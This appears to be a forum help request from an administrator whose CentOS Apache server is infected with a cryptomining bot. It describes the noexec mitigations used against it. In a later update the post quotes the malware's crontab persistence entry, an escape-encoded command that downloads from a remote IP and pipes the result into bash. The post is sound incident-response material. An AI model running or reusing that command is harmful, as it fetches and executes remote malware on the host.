As mentioned previously, I cannot physically remove the server from the internet as I do not have physical access. So, very little information in the ticket marked duplicate is relevant. I am going to have to either fix it live or shut it down permanently. It looks like I may have a solution to this specific problem that is not covered in the duplicate
I have an OVH hosted Centos 7 server (3.14.32-xxxx-grs-ipv6-64 #7 SMP) that I recently noticed was running at 100% CPU utilisation. On closer examination, there was a process showing in ps as '///' owned by apache that was using the CPU.
Checking /proc/$PID/cmdline it showed as running '///MvGJ6F80QE' or similar bunch of random characters that seemed to match files in /tmp. I shutdown Apache and removed the temporary files. I updated to the latest version of Apache (built from scratch locally) and restarted Apache. Almost instantly the rogue process returned.
I suspected it might be a fully updated Drupal site (0day), so I shut it down. I suspected it might be PHP so I shut that down too (I also updated PHP to the latest v5 release to no avail). I have now shut down apache entirely. None of this helps. The process keeps returning.
chkrootkit is showing the following: INFECTED: Possible Malicious Linux.Xor.DDoS installed
However the intrusion seems to be constrained to the apache user and doesn't have root. In /var/log/httpd/error_log I can see it's trying to access other parts of the file system and getting 'permission denied' as well as downloading new executables.
I can't for the life of me find the source of this, so I'd be massively grateful for any advice on how to remove this
I cannot follow the steps suggested by the post in the comment below as I do not have physical access to the server and cannot remove it from the internet.
EDIT: the key vector is through /tmp and /usr/tmp - I've now made these noexec via the following commands. No joy with this either - it must be launching the payload from somewhere else
dd if=/dev/zero of=tmp.img bs=1M count=100
dd if=/dev/zero of=usr-tmp.img bs=1M count=2000
mkfs.ext4 tmp.img
mkfs.ext4 usr-tmp.img
I mounted the filesystems somewhere else and rsynced the contents of /tmp and /usr/tmp in then added this to /etc/fstab:
/usr/tmp-noexec/tmp.img /tmp ext4 defaults,nodev,nosuid,noexec 0 0
/usr/tmp-noexec/usr-tmp.img /usr/tmp ext4 defaults,nodev,nosuid,noexec 0 0
EDIT: it's moved itself to /dev/shm once I made /tmp,/usr/tmp noexec. I've made /dev/shm no exec too.
UPDATE: It looks like making /dev/shm, /tmp and /usr/tmp noexec has done the trick. I could see 'touch' downloaded to those 3 directories so something was still running. I located 4 ejGL9EF processes still running - /proc said these had been launched from /tmp so they were from before I'd fixed /tmp. I've now killed these processes and there has been no further cryptomining.
UPDATE2: It seems like it's persisting through the crontab ... although I don't think it was doing this earlier (I so it may have mutated (sample crontab entry and excerpt from the service log below)
*/5 * * * * echo -e "\u77\u67\u65\u74\u20\u2d\u4f\u20\u2d\u20\u68\u74\u74\u70\u3a\u2f\u2f\u31\u33\u39\u2e\u39\u39\u2e\u39\u36\u2e\u31\u34\u33\u2f" | bash | bash
Sep 14 17:38:13 crontab[28862]: (apache) REPLACE (apache)
Sep 14 17:38:17 crontab[28894]: (apache) REPLACE (apache)
Sep 14 17:38:44 crontab[29986]: (apache) DELETE (apache)
Sep 14 17:38:44 crontab[30013]: (apache) REPLACE (apache)
Watching the error log, it's still hammering away at the door but the total lack of crytpomining shows it's not having much luck (excerpt below)
bash: line 52: ./6gC7pKB: No such file or directory
tee: ./hg7l1fJ: Permission denied
tee: ./ga51m5f: Permission denied
tee: ./856dLGj: Permission denied
cp: cannot create regular file './6GBP4a4': Permission denied
bash: line 65: ./6GBP4a4: No such file or directory
bash: line 66: ./6GBP4a4: No such file or directory